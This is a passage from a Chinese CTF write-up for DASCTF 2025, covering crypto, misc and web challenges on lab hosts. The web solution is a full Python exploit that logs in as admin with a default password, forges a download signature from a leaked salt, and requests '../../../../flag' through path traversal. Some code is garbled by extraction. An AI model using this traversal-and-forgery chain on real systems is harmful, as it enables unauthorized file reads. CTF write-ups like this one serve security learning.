0xB5, 0xCF, 0xC9, 0xBA, 0x31, 0x43, 0x8C, 0x4B, 0xAE, 0x22, 0xB2, 0x3E, 0xF8, 0x15, 0xED, 0xF7, 0xCF, 0x17, 0x71, 0x80, 0x3B, 0xD3, 0x92, 0xA5, 0x07, 0x2B, 0x46, 0x89, 0x00, 0xB7, 0x5F, 0x5A, 0x43, 0x77, 0xD1, 0xDA, 0xF3, 0xD6, 0xF7, 0xB7, 0xB6, 0x85, 0x0D, 0x1A, 0x4A, 0x41, 0x34, 0xF2, 0xF6, 0x58, 0x40, 0xEF, 0xAA, 0x9B, 0x83, 0xD3, 0x10, 0x83, 0x05, 0x1D, 0xF0, 0xFC, 0x80, 0xA7, 0x86, 0x52, 0x91, 0x59, 0x48, 0x4F, 0x62, 0xBB, 0xB9, 0x52, 0x4F, 0x68, 0x28, 0x5F, 0x48, 0xC7, 0xAB, 0x8E, 0x03, 0xBD, 0xFE, 0xCA, 0x1A, 0x60, 0x25, 0xAA, 0xED, 0x9F, 0x97, 0x28, 0xB3, 0x90, 0x68, 0x9C, 0x0C, 0x96, 0x39, 0x20, 0xC7, 0x28, 0xEB, 0x56, 0x95, 0xFC, 0xB9, 0x41, 0x3F, 0x9F, 0x4E, 0x06, 0xD3, 0xB9, 0x3D, 0xB4, 0x0E, 0x26, 0xD6, 0x27, 0x5C, 0x84, 0xE6, 0x12, 0x6A])byte_C0A0 = bytes([ 0x37, 0x3A, 0x2A, 0x27, 0xB3, 0x8F, 0xD7, 0x78, 0xC7, 0x16, 0x72, 0x8E, 0xBB, 0x95, 0xBE, 0x89, 0xA0, 0xA0, 0x57, 0x10, 0x91, 0x19, 0xA0, 0x8D, 0x5C, 0xE4, 0x92, 0x61, 0xEB, 0xB0, 0xE0, 0x77, 0x6D, 0x25, 0x4A, 0x40, 0xC4, 0xD2, 0x1B, 0xD2, 0x46, 0x3E, 0x61, 0x60, 0x87, 0x71, 0xDE, 0x40, 0x1E, 0xED, 0x13, 0xAC, 0x66, 0x60, 0xD9, 0x96, 0xBE, 0xA8, 0xC8, 0xB8, 0x2B, 0xDD, 0x0E, 0xAF, 0x56, 0xC3, 0x84, 0x66, 0x77, 0x6E, 0xBA, 0x31, 0xF7, 0xB2, 0x21, 0x92, 0x30, 0xB6, 0x54, 0xA7, 0x7E, 0xC0, 0xAF, 0x39, 0x5A, 0x01, 0xC3, 0x1C, 0x13, 0x9A, 0x4F, 0x6B, 0x7B, 0x8B, 0xA8, 0x45, 0x19, 0x20, 0x96, 0x16, 0x5D, 0xD7, 0xAC, 0xD0, 0x33, 0x1E, 0x79, 0xDB, 0xE4, 0x34, 0xED, 0x8C, 0x9A, 0x66, 0x58, 0x1D, 0x26, 0xF6, 0x9E, 0x5F, 0xAA, 0x29, 0x5F, 0x66, 0x01, 0x00, 0x76, 0xB9, 0x1A, 0x6D, 0xD6, 0x1D, 0xB7, 0xAB, 0xD3, 0x25, 0xF8, 0xBD, 0x25, 0xD9, 0x28, 0xDE, 0xBC, 0xC0, 0x2E, 0x55, 0x55, 0xFF, 0x81, 0xF7, 0xAE, 0x3E, 0x54, 0x8E, 0x3E, 0x46, 0x59, 0xA3, 0x7F, 0x5D, 0x3D, 0x3C, 0x39, 0xFB, 0xCA, 0xD1, 0xB5, 0x83, 0xE4, 0x2F, 0xB0, 0x4F, 0xA3, 0x28, 0xEB, 0xB7, 0x7E, 0x78, 0x41, 0xF4, 0x5B, 0x71, 0x1E, 0x77, 0xEE, 0x23, 0xE1, 0x19, 0x89, 0xDB, 0x2C, 0x0E, 0x06, 0xB8, 0x19, 0x1A, 0x45, 0x6D, 0x56, 0xBD, 0x1A, 0x7D, 0x42, 0xC4, 0x7F, 0xDF, 0xDF, 0x11, 0x79, 0x22, 0x8B, 0x57, 0xC6, 0xEF, 0xCA, 0x9B, 0x9B, 0x6A, 0x7D, 0x22, 0x68, 0x2E, 0x5B, 0x67, 0xC7, 0xC4, 0x6A, 0x87, 0x7F, 0xB6, 0x77, 0xF5, 0xF3, 0x17, 0xB4, 0x82, 0x3F, 0xCD, 0xC8, 0x12, 0xF0, 0x36, 0x2B, 0xE2, 0x7C, 0x0F, 0x54, 0x53, 0x03, 0x71, 0x48, 0xED, 0x30, 0x12, 0x7B, 0x26])byte_C2A0 = bytes([ 0xAD, 0xD1, 0xD1, 0x19, 0x60, 0xC2, 0x2D, 0x91, 0x66, 0xDA, 0xC3, 0xC2, 0x67, 0x25, 0xC8, 0x19, 0x09, 0x17, 0x6B, 0x23, 0x8E, 0x30, 0x03, 0xAA, 0x57, 0xAA, 0xCB, 0xA0, 0xA2, 0x26, 0xB7, 0xC3, 0x1C, 0x22, 0x0B, 0x8D, 0x20, 0x9C, 0xB4, 0x95, 0xB5, 0x5D, 0xB4, 0xE2, 0x7D, 0x4E, 0x43, 0x8E])key = RSA.construct((n, e, d, p, q))cipher_rsa = PKCS1_OAEP.new(key)account = cipher_rsa.decrypt(byte_C1A0)cipher_rsa = PKCS1_OAEP.new(key)aes_key = cipher_rsa.decrypt(byte_C0A0)cipher_aes = AES.new(aes_key, AES.MODE_CBC, account)result = cipher_aes.decrypt(byte_C2A0)text = result.decode('utf-8', errors='ignore')print(f"{text}")
复制代码 CHECKIN
将图片用记事本打开 获取base64编码
DASCTF{W3lc0me_t0_DASCTF_2025_H4lf_Y34r!}
MISC
DigitalSignature
- from web3 import Web3from eth_account.messages import encode_defunct# 核心参数msg = "Find out the signer. Flag is account address that wrapped by DASCTF{}."sig = "0x019c4c2968032373cb8e19f13450e93a1abf8658097405cda5489ea22d3779b57815a7e27498057a8c29bcd38f9678b917a887665c1f0d970761cacdd8c41fb61b"# 恢复签名地址并输出结果addr = Web3().eth.account.recover_message(encode_defunct(text=msg), signature=sig)print(f"Recovered address: {addr}")print(f"Flag: DASCTF{{{addr}}}")
复制代码 DASCTF{0xF319C9F3A3822C6b409c34451F7709f27173934c}
Crypto
- from Crypto.Util.number import long_to_bytes, bytes_to_longimport numpy as np# 原始参数mask = 9319439021858903464 # 64位掩码c = 8882504877732087312989345828667663333297225833982945014279010438327750150593504327259176959316943362605442206624947923157363187067410478202161873663103506# ---- 1. 构造64x64的变换矩阵A和初始掩码向量M ----A = np.zeros((64, 64), dtype=np.uint8)M = np.zeros(64, dtype=np.uint8)# 初始化第一行和M向量(基于mask的二进制位)for j in range(64): if (mask >> j) & 1: A[0, j] = 1 M[j] = 1# 构造下三角移位矩阵(第k行第k-1列置1)for k in range(1, 64): A[k, k-1] = 1# ---- 2. 生成513个状态行(模拟线性反馈移位寄存器) ----rows = []r = M.copy()for t in range(512 + 1): # t从0到512,共513个状态 rows.append(r.copy()) # 矩阵乘法后模2(GF(2)域运算) r = (r @ A) % 2# ---- 3. 处理密文c,转换为64字节的bytes(确保长度为64) ----try: c_bytes = long_to_bytes(c) # 补零或截断到64字节,避免长度不匹配 if len(c_bytes) < 64: c_bytes = b'\x00' * (64 - len(c_bytes)) + c_bytes elif len(c_bytes) > 64: c_bytes = c_bytes[-64:] # 取最后64字节(符合常规低位存储)except Exception as e: raise ValueError(f"密文转换失败: {e}")# ---- 4. 构造线性方程组 A2·S0 = b2(GF(2)域) ----A2 = np.zeros((64, 64), dtype=np.uint8)b2 = np.zeros(64, dtype=np.uint8)for j in range(64): # 取第8*j行作为方程的系数 A2[j, :] = rows[8 * j] # 取c_bytes[j]的最高位(MSB)作为方程右侧值 b2[j] = (c_bytes[j] >> 7) & 1# ---- 5. 优化的GF(2)线性方程组求解器(带空空间计算) ----def gf2_solve_with_nullspace(A, b): """ 求解GF(2)域线性方程组 A·x = b 返回: 特解x_part, 零空间基, 矩阵秩 无解时返回 (None, None, None) """ # 深拷贝避免修改原数组,转换为int方便异或运算 A = A.copy().astype(int) b = b.copy().astype(int) m, n = A.shape # m行n列 row = 0 # 当前处理的行 pivot_cols = [] # 主元列 pivcol = [-1] * m # 每行对应的主元列 # 高斯消元(前向消去) for col in range(n): # 找当前列的主元行(第一个非零行) pivot = None for r in range(row, m): if A[r, col] == 1: pivot = r break if pivot is None: continue # 该列无主元,跳过 # 交换主元行到当前行 if pivot != row: A[[row, pivot]] = A[[pivot, row]] b[row], b[pivot] = b[pivot], b[row] pivot_cols.append(col) pivcol[row] = col # 消去其他行的当前列 for r in range(m): if r != row and A[r, col] == 1: A[r, :] ^= A[row, :] b[r] ^= b[row] row += 1 if row == m: break # 所有行处理完毕 rank = row # 矩阵的秩 # 检查无解情况:全零行但b[r]=1 for r in range(rank, m): if not np.any(A[r]) and b[r] == 1: print("线性方程组无解!") return None, None, None # 构造特解 x = np.zeros(n, dtype=int) for r in range(rank - 1, -1, -1): col = pivcol[r] if col == -1: continue # 计算非主元列的异或和 s = 0 for j in range(col + 1, n): s ^= (A[r, j] & x[j]) x[col] = b[r] ^ s # 构造零空间基(自由变量) free_cols = [c for c in range(n) if c not in pivot_cols] null_basis = [] for fc in free_cols: v = np.zeros(n, dtype=int) v[fc] = 1 # 自由变量设为1 # 回代求解主元变量 for r in range(rank - 1, -1, -1): col = pivcol[r] if col == -1: continue s = 0 for j in range(col + 1, n): s ^= (A[r, j] & v[j]) v[col] = s null_basis.append(v) return x, null_basis, rank# ---- 6. 求解方程组并生成可能的种子 ----x_part, null_basis, rank = gf2_solve_with_nullspace(A2, b2)if x_part is None: raise RuntimeError("未找到有效解,方程组无解!")# 向量转64位种子(uint64)def vec_to_seed(v): s = 0 for i in range(64): if v[i]: s |= (1 = 1 # 左移1位 + 异或结果,保持64位 seed = ((seed requests.Response: """ 拼接path和基础域名,访问该URL并返回响应 :param path: 提取的path :param base_domain: 基础域名 :return: 响应对象 """ if not path: raise ValueError("path为空,无法拼接URL") # 拼接URL(处理path开头是否有/的情况) if path.startswith('/'): full_url = base_domain + path else: full_url = f"{base_domain}/{path}" # 移除重复的// full_url = full_url.replace('//', '/').replace('http:/', 'http://') print(f"\n
- [*] 拼接后的完整URL: {full_url}") # 发送请求(复用请求头,保持会话一致性) headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.get( full_url, headers=headers, timeout=10, allow_redirects=True # 允许重定向 ) print(f"
- [*] URL访问状态码: {response.status_code}") return response except Exception as e: raise RuntimeError(f"访问URL失败: {str(e)}")def send_login_request(username, password): """ 发送登录请求到目标URL,并处理path提取和URL访问 :param username: 登录用户名 :param password: 加密后的登录密码 :return: 登录响应对象 """ payload = { "username": username, "password": password } headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } try: print(f"
- [*] 向 {TARGET_URL} 发送请求 -> 用户名: {username}, 密码: {password}") response = requests.post( TARGET_URL, data=payload, headers=headers, timeout=10 ) print(f"
- [*] 响应状态码: {response.status_code}") print(f"
- [*] 响应内容: {response.text}") print("-" * 80) # 提取path path = extract_path_from_response(response.text) if path: print(f"
- [*] 从响应中提取到path: {path}") # 访问拼接后的URL try: path_response = visit_path_url(path, BASE_DOMAIN) print(f"
- [*] URL访问响应内容: {path_response.text}") print("-" * 80) except Exception as e: print(f"[!] 访问拼接URL失败: {e}") else: print("
- [*] 响应中未提取到有效path") return response except Exception as e: print(f"[!] 发包失败: {e}") print("-" * 80) raiseif __name__ == "__main__": # 1. 定义需要加密的原始密码 original_password = "123456" print(f"
- [*] 原始密码: {original_password}") print("-" * 80) # 2. 使用RSA加密密码 try: encrypted_password = rsa_encrypt_pkcs1v15_jseencrypt(original_password, PUBLIC_KEY_STR) print(f"
- [*] RSA加密后的密码: {encrypted_password}") print("-" * 80) except RuntimeError as e: print(f"[!] 密码加密失败: {e}") exit(1) # 3. 发送登录请求(使用加密后的密码)并处理path访问 try: login_response = send_login_request("admin", encrypted_password) except Exception as e: print(f"[!] 登录请求处理失败: {e}") exit(1)
复制代码

有一个/download的下载文件接口- import base64import requestsfrom cryptography.hazmat.primitives.asymmetric import padding, rsafrom cryptography.hazmat.primitives import serializationfrom cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15import re# RSA公钥(用于密码加密)PUBLIC_KEY_STR = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="# 目标登录URLTARGET_URL = "http://6922d98f-7d9d-46b0-b594-3de34637ce0c.node5.buuoj.cn:81/login"# 提取基础域名(用于拼接path)BASE_DOMAIN = TARGET_URL.rsplit('/', 1)[0]# 指定的下载URL路径DOWNLOAD_PATH = "/download?file=app.jmx&sign=6f742c2e79030435b7edc1d79b8678f6"def rsa_encrypt_pkcs1v15_jseencrypt(plain_text: str, pub_key_str: str) -> str: """ 模拟JSEncrypt的PKCS1_v1_5加密行为,返回Base64编码字符串 :param plain_text: 待加密的明文(字符串) :param pub_key_str: Base64格式的RSA公钥(无PEM头尾部) :return: Base64编码的加密结果 """ try: # 1. 补全PEM格式公钥(JSEncrypt默认使用这种格式) pem_pub_key = ( "-----BEGIN PUBLIC KEY-----\n" + "\n".join([pub_key_str[i:i+64] for i in range(0, len(pub_key_str), 64)]) + "\n-----END PUBLIC KEY-----" ) # 2. 加载公钥 public_key = serialization.load_pem_public_key( pem_pub_key.encode("utf-8"), backend=default_backend() ) # 3. 将明文转为字节(JSEncrypt默认使用UTF-8编码) plain_bytes = plain_text.encode("utf-8") # 4. PKCS1_v1_5加密(严格匹配JSEncrypt的填充规则) encrypted_bytes = public_key.encrypt( plain_bytes, PKCS1v15() # 标准PKCS1 v1.5填充,与JSEncrypt完全一致 ) # 5. Base64编码(JSEncrypt使用标准Base64,无URL安全转换) base64_encrypted = base64.b64encode(encrypted_bytes).decode("utf-8") return base64_encrypted except Exception as e: raise RuntimeError(f"加密失败: {str(e)}")def extract_path_from_response(response_text: str) -> str: """ 从响应内容中提取path(支持多种常见格式匹配) :param response_text: 响应文本内容 :return: 提取到的path,无则返回空字符串 """ # 匹配常见的path格式(可根据实际情况调整正则) path_patterns = [ r'["\']path["\']\s*:\s*["\']([^"\']+)["\']', # "path": "/xxx/yyy" r'["\']/[^"\']+["\']', # 匹配 "/xxx/yyy" 格式的path r'\/[a-zA-Z0-9_\-\/]+', # 匹配 /xxx/yyy 格式的path ] for pattern in path_patterns: match = re.search(pattern, response_text) if match: path = match.group(1) if len(match.groups()) > 0 else match.group(0) # 去除引号等多余字符 path = path.strip('"\'') return path return ""def visit_path_url(path: str, base_domain: str, session: requests.Session = None) -> requests.Response: """ 拼接path和基础域名,访问该URL并返回响应 :param path: 提取的path :param base_domain: 基础域名 :param session: 可选的会话对象(保持cookie等状态) :return: 响应对象 """ if not path: raise ValueError("path为空,无法拼接URL") # 拼接URL(处理path开头是否有/的情况) if path.startswith('/'): full_url = base_domain + path else: full_url = f"{base_domain}/{path}" # 移除重复的// full_url = full_url.replace('//', '/').replace('http:/', 'http://') print(f"\n
- [*] 拼接后的完整URL: {full_url}") # 发送请求(复用请求头,保持会话一致性) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive" } try: # 使用会话对象或普通请求,保持状态一致性 if session: response = session.get( full_url, headers=headers, timeout=10, allow_redirects=True # 允许重定向 ) else: response = requests.get( full_url, headers=headers, timeout=10, allow_redirects=True # 允许重定向 ) print(f"
- [*] URL访问状态码: {response.status_code}") return response except Exception as e: raise RuntimeError(f"访问URL失败: {str(e)}")def send_login_request(username, password, session: requests.Session): """ 发送登录请求到目标URL,并处理path提取和URL访问 :param username: 登录用户名 :param password: 加密后的登录密码 :param session: 会话对象(保持cookie) :return: 登录响应对象 """ payload = { "username": username, "password": password } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive", "Origin": BASE_DOMAIN, "Referer": TARGET_URL } try: print(f"
- [*] 向 {TARGET_URL} 发送请求 -> 用户名: {username}, 密码: {password}") response = session.post( TARGET_URL, data=payload, headers=headers, timeout=10 ) print(f"
- [*] 响应状态码: {response.status_code}") print(f"
- [*] 响应内容: {response.text}") print("-" * 80) # 提取path path = extract_path_from_response(response.text) if path: print(f"
- [*] 从响应中提取到path: {path}") # 访问拼接后的URL try: path_response = visit_path_url(path, BASE_DOMAIN, session) print(f"
- [*] URL访问响应内容: {path_response.text}") print("-" * 80) except Exception as e: print(f"[!] 访问拼接URL失败: {e}") else: print("
- [*] 响应中未提取到有效path") return response except Exception as e: print(f"[!] 发包失败: {e}") print("-" * 80) raisedef visit_download_url(session: requests.Session): """ 访问指定的/download路径,携带会话信息和必要请求头 :param session: 登录后的会话对象 :return: 下载请求的响应对象 """ print(f"\n
- [*] 准备访问下载URL: {BASE_DOMAIN + DOWNLOAD_PATH}") print("-" * 80) # 构建完整的下载URL download_url = BASE_DOMAIN + DOWNLOAD_PATH # 处理URL中的重复//问题 download_url = download_url.replace('//', '/').replace('http:/', 'http://') # 构造下载请求的请求头(模拟浏览器行为) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive", "Referer": TARGET_URL, "Upgrade-Insecure-Requests": "1" } try: # 发送GET请求访问下载链接(保持会话) response = session.get( download_url, headers=headers, timeout=15, allow_redirects=True, stream=True # 支持大文件下载 ) print(f"
- [*] 下载URL访问状态码: {response.status_code}") print(f"
- [*] 响应头信息: {response.headers}") # 处理响应内容 if response.status_code == 200: # 判断是否是文件下载 if 'Content-Disposition' in response.headers: # 提取文件名并保存文件 content_disposition = response.headers.get('Content-Disposition', '') filename = re.search(r'filename=["\']?([^"\']+)["\']?', content_disposition) save_filename = filename.group(1) if filename else 'app.jmx' # 保存文件到本地 with open(save_filename, 'wb') as f: for chunk in response.iter_content(chunk_size=8192): f.write(chunk) print(f"
- [*] 文件下载成功,已保存为: {save_filename}") else: # 非文件下载,打印响应内容 print(f"
- [*] 下载URL响应内容: {response.text[:2000]}") # 只打印前2000字符避免过长 else: print(f"[!] 下载URL访问失败,状态码: {response.status_code}") print(f"[!] 响应内容: {response.text}") print("-" * 80) return response except Exception as e: raise RuntimeError(f"访问下载URL失败: {str(e)}")if __name__ == "__main__": # 创建会话对象(保持cookie、会话状态) session = requests.Session() # 1. 定义需要加密的原始密码 original_password = "123456" print(f"
- [*] 原始密码: {original_password}") print("-" * 80) # 2. 使用RSA加密密码 try: encrypted_password = rsa_encrypt_pkcs1v15_jseencrypt(original_password, PUBLIC_KEY_STR) print(f"
- [*] RSA加密后的密码: {encrypted_password}") print("-" * 80) except RuntimeError as e: print(f"[!] 密码加密失败: {e}") exit(1) # 3. 发送登录请求(使用加密后的密码)并处理path访问 try: login_response = send_login_request("admin", encrypted_password, session) except Exception as e: print(f"[!] 登录请求处理失败: {e}") exit(1) # 4. 访问指定的/download路径(携带登录后的会话信息) try: download_response = visit_download_url(session) except Exception as e: print(f"[!] 下载URL访问处理失败: {e}") exit(1)
复制代码
那既然可以下载app.jmx,那看看能不能直接下载flag
但好像并不行,既然得到了salt是不是要带上salt才可以访问
同时下面存在逻辑- def mingWen = vars.get('mingWen');def firstMi = DigestUtils.md5Hex(mingWen);def jieStr = firstMi.substring(5, 16);def salt = vars.get('salt');def newStr = firstMi + jieStr + salt;def sign = DigestUtils.md5Hex(newStr);vars.put('sign', sign);
复制代码 直接丢给AI
 - import base64import requestsimport hashlibfrom cryptography.hazmat.primitives.asymmetric import padding, rsafrom cryptography.hazmat.primitives import serializationfrom cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15import re# RSA公钥(用于密码加密)PUBLIC_KEY_STR = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="# 目标登录URLTARGET_URL = "http://a12634de-e919-4a63-abe4-36035aff7b45.node5.buuoj.cn:81/login"# 提取基础域名(用于拼接path)BASE_DOMAIN = TARGET_URL.rsplit('/', 1)[0]# 固定salt值SALT = "f9bc855c9df15ba7602945fb939deefc"def generate_sign(file_param: str, salt: str) -> str: """ 根据指定逻辑生成sign值 :param file_param: file参数的值(明文) :param salt: 固定的salt值 :return: 最终的sign值 """ # 1. 计算file参数的MD5值(firstMi) first_mi = hashlib.md5(file_param.encode('utf-8')).hexdigest() print(f"
- [*] file参数MD5值 (firstMi): {first_mi}") # 2. 截取firstMi的第5到16位(包含第5位,不包含第16位,共11位) jie_str = first_mi[5:16] print(f"
- [*] 截取的字符串 (jieStr): {jie_str} (位置5-16)") # 3. 拼接新字符串:firstMi + jieStr + salt new_str = first_mi + jie_str + salt print(f"
- [*] 拼接后的字符串 (newStr): {new_str}") # 4. 计算新字符串的MD5作为最终sign sign = hashlib.md5(new_str.encode('utf-8')).hexdigest() print(f"
- [*] 最终生成的sign值: {sign}") return signdef rsa_encrypt_pkcs1v15_jseencrypt(plain_text: str, pub_key_str: str) -> str: """ 模拟JSEncrypt的PKCS1_v1_5加密行为,返回Base64编码字符串 :param plain_text: 待加密的明文(字符串) :param pub_key_str: Base64格式的RSA公钥(无PEM头尾部) :return: Base64编码的加密结果 """ try: # 1. 补全PEM格式公钥(JSEncrypt默认使用这种格式) pem_pub_key = ( "-----BEGIN PUBLIC KEY-----\n" + "\n".join([pub_key_str[i:i+64] for i in range(0, len(pub_key_str), 64)]) + "\n-----END PUBLIC KEY-----" ) # 2. 加载公钥 public_key = serialization.load_pem_public_key( pem_pub_key.encode("utf-8"), backend=default_backend() ) # 3. 将明文转为字节(JSEncrypt默认使用UTF-8编码) plain_bytes = plain_text.encode("utf-8") # 4. PKCS1_v1_5加密(严格匹配JSEncrypt的填充规则) encrypted_bytes = public_key.encrypt( plain_bytes, PKCS1v15() # 标准PKCS1 v1.5填充,与JSEncrypt完全一致 ) # 5. Base64编码(JSEncrypt使用标准Base64,无URL安全转换) base64_encrypted = base64.b64encode(encrypted_bytes).decode("utf-8") return base64_encrypted except Exception as e: raise RuntimeError(f"加密失败: {str(e)}")def extract_path_from_response(response_text: str) -> str: """ 从响应内容中提取path(支持多种常见格式匹配) :param response_text: 响应文本内容 :return: 提取到的path,无则返回空字符串 """ # 匹配常见的path格式(可根据实际情况调整正则) path_patterns = [ r'["\']path["\']\s*:\s*["\']([^"\']+)["\']', # "path": "/xxx/yyy" r'["\']/[^"\']+["\']', # 匹配 "/xxx/yyy" 格式的path r'\/[a-zA-Z0-9_\-\/]+', # 匹配 /xxx/yyy 格式的path ] for pattern in path_patterns: match = re.search(pattern, response_text) if match: path = match.group(1) if len(match.groups()) > 0 else match.group(0) # 去除引号等多余字符 path = path.strip('"\'') return path return ""def visit_path_url(path: str, base_domain: str, session: requests.Session = None) -> requests.Response: """ 拼接path和基础域名,访问该URL并返回响应 :param path: 提取的path :param base_domain: 基础域名 :param session: 可选的会话对象(保持cookie等状态) :return: 响应对象 """ if not path: raise ValueError("path为空,无法拼接URL") # 拼接URL(处理path开头是否有/的情况) if path.startswith('/'): full_url = base_domain + path else: full_url = f"{base_domain}/{path}" # 移除重复的// full_url = full_url.replace('//', '/').replace('http:/', 'http://') print(f"\n
- [*] 拼接后的完整URL: {full_url}") # 发送请求(复用请求头,保持会话一致性) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive" } try: # 使用会话对象或普通请求,保持状态一致性 if session: response = session.get( full_url, headers=headers, timeout=10, allow_redirects=True # 允许重定向 ) else: response = requests.get( full_url, headers=headers, timeout=10, allow_redirects=True # 允许重定向 ) print(f"
- [*] URL访问状态码: {response.status_code}") return response except Exception as e: raise RuntimeError(f"访问URL失败: {str(e)}")def send_login_request(username, password, session: requests.Session): """ 发送登录请求到目标URL,并处理path提取和URL访问 :param username: 登录用户名 :param password: 加密后的登录密码 :param session: 会话对象(保持cookie) :return: 登录响应对象 """ payload = { "username": username, "password": password } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive", "Origin": BASE_DOMAIN, "Referer": TARGET_URL } try: print(f"
- [*] 向 {TARGET_URL} 发送请求 -> 用户名: {username}, 密码: {password}") response = session.post( TARGET_URL, data=payload, headers=headers, timeout=10 ) print(f"
- [*] 响应状态码: {response.status_code}") print(f"
- [*] 响应内容: {response.text}") print("-" * 80) # 提取path path = extract_path_from_response(response.text) if path: print(f"
- [*] 从响应中提取到path: {path}") # 访问拼接后的URL try: path_response = visit_path_url(path, BASE_DOMAIN, session) print(f"
- [*] URL访问响应内容: {path_response.text}") print("-" * 80) except Exception as e: print(f"[!] 访问拼接URL失败: {e}") else: print("
- [*] 响应中未提取到有效path") return response except Exception as e: print(f"[!] 发包失败: {e}") print("-" * 80) raisedef visit_download_url(session: requests.Session, file_param: str = "../../../../../../../../../flag"): """ 访问/download路径,自动生成sign并携带会话信息 :param session: 登录后的会话对象 :param file_param: file参数的值,默认为读取flag的路径 :return: 下载请求的响应对象 """ print("\n" + "="*80) print("
- [*] 开始生成sign值") print("="*80) # 生成sign值 sign = generate_sign(file_param, SALT) # 构建下载URL DOWNLOAD_PATH = f"/download?file={file_param}&sign={sign}" download_url = BASE_DOMAIN + DOWNLOAD_PATH # 处理URL中的重复//问题 download_url = download_url.replace('//', '/').replace('http:/', 'http://') print(f"\n
- [*] 准备访问下载URL: {download_url}") print("-" * 80) # 构造下载请求的请求头(模拟浏览器行为) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive", "Referer": TARGET_URL, "Upgrade-Insecure-Requests": "1" } try: # 发送GET请求访问下载链接(保持会话) response = session.get( download_url, headers=headers, timeout=15, allow_redirects=True, stream=True # 支持大文件下载 ) print(f"
- [*] 下载URL访问状态码: {response.status_code}") print(f"
- [*] 响应头信息: {response.headers}") # 处理响应内容 if response.status_code == 200: # 判断是否是文件下载 if 'Content-Disposition' in response.headers: # 提取文件名并保存文件 content_disposition = response.headers.get('Content-Disposition', '') filename = re.search(r'filename=["\']?([^"\']+)["\']?', content_disposition) save_filename = filename.group(1) if filename else 'app.jmx' # 保存文件到本地 with open(save_filename, 'wb') as f: for chunk in response.iter_content(chunk_size=8192): f.write(chunk) print(f"
- [*] 文件下载成功,已保存为: {save_filename}") else: # 非文件下载,打印响应内容 print(f"
- [*] 下载URL响应内容: {response.text[:2000]}") # 只打印前2000字符避免过长 else: print(f"[!] 下载URL访问失败,状态码: {response.status_code}") print(f"[!] 响应内容: {response.text}") print("-" * 80) return response except Exception as e: raise RuntimeError(f"访问下载URL失败: {str(e)}")if __name__ == "__main__": # 创建会话对象(保持cookie、会话状态) session = requests.Session() # 1. 定义需要加密的原始密码 original_password = "123456" print(f"
- [*] 原始密码: {original_password}") print("-" * 80) # 2. 使用RSA加密密码 try: encrypted_password = rsa_encrypt_pkcs1v15_jseencrypt(original_password, PUBLIC_KEY_STR) print(f"
- [*] RSA加密后的密码: {encrypted_password}") print("-" * 80) except RuntimeError as e: print(f"[!] 密码加密失败: {e}") exit(1) # 3. 发送登录请求(使用加密后的密码)并处理path访问 try: login_response = send_login_request("admin", encrypted_password, session) except Exception as e: print(f"[!] 登录请求处理失败: {e}") exit(1) # 4. 访问/download路径,自动生成sign(携带登录后的会话信息) try: # 指定file参数值,自动生成对应的sign file_param = "../../../../../../../../../flag" download_response = visit_download_url(session, file_param) except Exception as e: print(f"[!] 下载URL访问处理失败: {e}") exit(1)
复制代码
得到flag文件

